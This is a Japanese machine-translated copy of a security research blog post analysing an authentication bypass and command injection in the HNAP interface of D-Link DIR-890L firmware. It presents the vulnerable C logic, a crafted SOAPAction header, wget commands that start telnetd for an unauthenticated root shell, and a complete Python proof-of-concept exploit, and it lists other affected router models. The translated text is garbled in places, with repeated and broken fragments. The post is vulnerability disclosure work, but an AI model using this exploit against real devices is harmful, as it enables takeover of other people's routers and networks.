
300ドルのクレイジーなD-Link DIR-890Lルーター
おそらくルーターで最も「クレイジー」 なのは 、D-Linkが数年間ルーターに入れていたバグ修正 ファームウェアの制御下で動作することです... そして、ヒットは続くばかりです。
OK、いつものようにやってみましょう- 最新のファームウェア を入手し、binwalkを実行して、得られたものを確認してください:
DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/7" 116 0x74 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4905376 bytes 1835124 0x1C0074 PackImg section delimiter tag, little endian size: 6345472 bytes; big endian size: 13852672 bytes 1835156 0x1C0094 Squashfs filesystem, little endian, version 4.0, compress
通常のLinuxファームウェアのように見えます。過去数年にわたってD-Linkファームウェアを見た場合、ディレクトリ構造を簡単に覚えることができます。
$ ls squashfs-root bin dev etc home htdocs include lib mnt mydlink proc sbin sys tmp usr var www
HTTP、UPnP、およびHNAPに関連するすべてのものは、htdocsディレクトリにあります。 ここで最も興味深いファイルはhtdocs / cgibinです。これはARMのELFバイナリで、ほとんどすべてのためにWebサーバーによって実行されます。CGI、UPnP、およびHNAPリンクへのすべてのシンボリックリンクはこのファイルにつながります。
$ ls -l htdocs/web/*.cgi lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/captcha.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/conntrack.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlapn.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlcfg.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dldongle.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwup.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwupload.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/hedwig.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/pigwidgeon.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/seama.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/service.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication_logout.cgi -> /htdocs/cgibin
もちろん、それは取り除かれていますが、私たちを助ける多くの行があります。 まず、
main
argv[0]
を既知のシンボリックリンク名のリスト(
captcha.cgi
、
conntrack.cgi
など)と
conntrack.cgi
、実行するアクションを決定します。

呼び出しグラフ、典型的なif / elseカスケード
各比較は、既知のシンボリックリンク名でstrcmpを呼び出すことにより行われます。

異なるシンボリックハンドラーの異なる機能
ハンドラー関数とシンボリックリンクの比較を簡素化するには、シンボリックリンクの名前に応じて名前を変更します。

名前変更されたハンドラー関数
関数名がわかったので、バグを探し始めましょう。 まったく同じファームウェアを実行する他のD-Linkデバイスは、以前はHTTPおよびUPnPインターフェースを介してハッキングされていましたが、
hnap_main
関数によって処理されるHNAPインターフェースを実際に見た人はいないようです。
HNAP (ホームネットワーク管理プロトコル)は、UPnPに似たSOAPベースのプロトコルで、通常はD-Linkルーター「EZ」の初期構成のためにユーティリティで使用されます。 UPnPとは異なり、
GetDeviceInfo
(役に立たない)を除くすべてのHNAPアクションにはHTTP基本認証が必要です。
POST /HNAP1 HTTP/1.1 Host: 192.168.0.1 Authorization: Basic YWMEHZY+ Content-Type: text/xml; charset=utf-8 Content-Length: length SOAPAction: "http://purenetworks.com/HNAP1/AddPortMapping" <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <AddPortMapping xmlns="http://purenetworks.com/HNAP1/"> <PortMappingDescription>foobar</PortMappingDescription> <InternalClient>192.168.0.100</InternalClient> <PortMappingProtocol>TCP</PortMappingProtocol> <ExternalPort>1234</ExternalPort> <InternalPort>1234</InternalPort> </AddPortMapping> </soap:Body> </soap:Envelope>
SOAPAction
ヘッダーは、HNAPリクエストでは非常に重要です。 サーバーが実行するアクション(上記の例の
AddPortMapping
アクション)を決定するのは彼です。
cgibin
WebサーバーによってCGIアプリケーションとして起動されるため、
hnap_main
は環境変数を介して、
SOAPAction
ヘッダーなどのHNAP要求データを受信します。

SOAPAction = getenv(“ HTTP_SOAPACTION”);
hnap_main
の終わりに向かって、
sprintf
hnap_main
シェルコマンドが生成され、それが
system
介して実行され
system
。

sprintf(コマンド、「sh%s%s.sh> / dev / console」、「/ var / run /」、SOAPAction);
明らかに、
hnap_main
は
system
内の
SOAPAction
ヘッダーからのデータを使用します! 特に
SOAPAction
ヘッダーがエスケープされておらず、認証なしでこの場所に到達できる場合、このバグは有望です。
hnap_main
の開始時に、
SOAPAction
ヘッダーが文字列と等しいかどうかを確認します
purenetworks.com/HNAP1/GetDeviceSettings
purenetworks.com/HNAP1/GetDeviceSettings
、および等しい場合、認証はスキップされます。 これは予想されることであり、
GetDeviceSettings
は認証を必要としないことにすでに気付いています。

if(strstr(SOAPAction、“ http://purenetworks.com/HNAP1/GetDeviceSettings”)!= NULL)
ただし、
strstr
関数は検証に使用され、文字列の存在のみをチェックすることに注意してください
purenetworks.com/HNAP1/GetDeviceSettings
SOAPAction
ヘッダーの
purenetworks.com/HNAP1/GetDeviceSettings
。同等ではありません。
したがって、
SOAPAction
ヘッダーにサブストリングが含まれている場合
purenetworks.com/HNAP1/GetDeviceSettings
purenetworks.com/HNAP1/GetDeviceSettings
、関数はヘッダーからアクションの名前(つまり
GetDeviceSettings
)を
GetDeviceSettings
、二重引用符を削除します。

SOAPAction = strrchr(SOAPAction、 '/');
アクションの名前(
GetDeviceSettings
)はヘッダーから
GetDeviceSettings
れた後、
system
、
sprintf
を渡します。
ロジックのエラーを示すCコードは次のとおりです。
/* Grab a pointer to the SOAPAction header */ SOAPAction = getenv("HTTP_SOAPACTION"); /* Skip authentication if the SOAPAction header contains "http://purenetworks.com/HNAP1/GetDeviceSettings" */ if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") == NULL) { /* do auth check */ } /* Do a reverse search for the last forward slash in the SOAPAction header */ SOAPAction = strrchr(SOAPAction, '/'); if(SOAPAction != NULL) { /* Point the SOAPAction pointer one byte beyond the last forward slash */ SOAPAction += 1; /* Get rid of any trailing double quotes */ if(SOAPAction[strlen(SOAPAction)-1] == '"') { SOAPAction[strlen(SOAPAction)-1] = '\0'; } } else { goto failure_condition; } /* Build the command using the specified SOAPAction string and execute it */ sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction); system(command);
だから、これから何を学んだのか:
-
SOAPAction
ヘッダーにサブストリングがある場合、認証チェックなしpurenetworks.com/HNAP1/GetDeviceSettings
-
SOAPAction
ヘッダーの最後のスラッシュがsprintf
(およびsystem
)に渡された後のすべて
認証パスを満たし、
system
行を渡すことができる
SOAPAction
ヘッダーを簡単に作成できます。
SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`"
purenetworks.com/HNAP1/GetDeviceSettings
ヘッダーの
purenetworks.com/HNAP1/GetDeviceSettings
を使用すると、認証をバイパスでき、文字列
`reboot`
が
system
渡され
system
system("sh /var/run/`reboot`.sh > /dev/console");
reboot
を
telnetd
置き換えることにより
telnetd
認証なしでtelnetサーバーを起動します。
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"' http://192.168.0.1/HNAP1 $ telnet 192.168.0.1 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. #
リモート管理が有効になっている場合、WANからHNAP要求を送信できます。 もちろん、ファイアウォールはWANからのすべての着信telnet接続をブロックします。 最も簡単な解決策は、HTTPサーバーを強制終了し、そのポートでtelnetdを実行することです。
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"' http://1.2.3.4:8080/HNAP1 $ telnet 1.2.3.4 8080 Trying 1.2.3.4... Connected to 1.2.3.4. Escape character is '^]'. BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. #
次のように、wgetが答えを期待してハングすることに気付くでしょう。
cgibin
はtelnetdが完了するのを待ちます。 少し便利なPython PoCを次に示します。
#!/usr/bin/env python import sys import urllib2 import httplib try: ip_port = sys.argv[1].split(':') ip = ip_port[0] if len(ip_port) == 2: port = ip_port[1] elif len(ip_port) == 1: port = "80" else: raise IndexError except IndexError: print "Usage: %s <target ip:port>" % sys.argv[0] sys.exit(1) url = "http://%s:%s/HNAP1" % (ip, port) # NOTE: If exploiting from the LAN, telnetd can be started on # any port; killing the http server and re-using its port # is not necessary. # # Killing off all hung hnap processes ensures that we can # re-start httpd later. command = "killall httpd; killall hnap; telnetd -p %s" % port headers = { "SOAPAction" : '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % command, } req = urllib2.Request(url, None, headers) try: urllib2.urlopen(req) raise Exception("Unexpected response") except httplib.BadStatusLine: print "Exploit sent, try telnetting to %s:%s!" % (ip, port) print "To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'" sys.exit(0) except Exception: print "Received an unexpected response from the server; exploit probably failed. :("
ファームウェアv1.00とv1.03(執筆時点では後者)でこのバグを確認しましたが、どちらも脆弱です。 しかし、組み込みのほとんどの脆弱性で通常そうであるように、このコードは他のデバイスのファームウェアにも入り込みました。
すべてのファームウェアの分析はかなり面倒なので、バグに関する情報をCentrifugeチームに渡しました。Centrifugeチームは、こうしたことを自動的に分析するためのユーティリティに違いがあります。 Centrifugeは、次のモデルでこの脆弱性を発見しました。
- DAP-1522 revB
- DAP-1650 revB
- DIR-880L
- DIR-865L
- DIR-860L revA
- DIR-860L revB
- DIR-815 revB
- DIR-300 revB
- DIR-600 revB
- DIR-645
- TEW-751DR
- TEW-733GR
私の知る限り、これらのデバイスでHNAPを無効にすることはできません。
更新:年の初めにSamuel Huntlyが同じバグを見つけたようですが、DIR-645でのみ修正されました。 パッチは十分に悪いので、次の投稿で解析されるのを待ちます。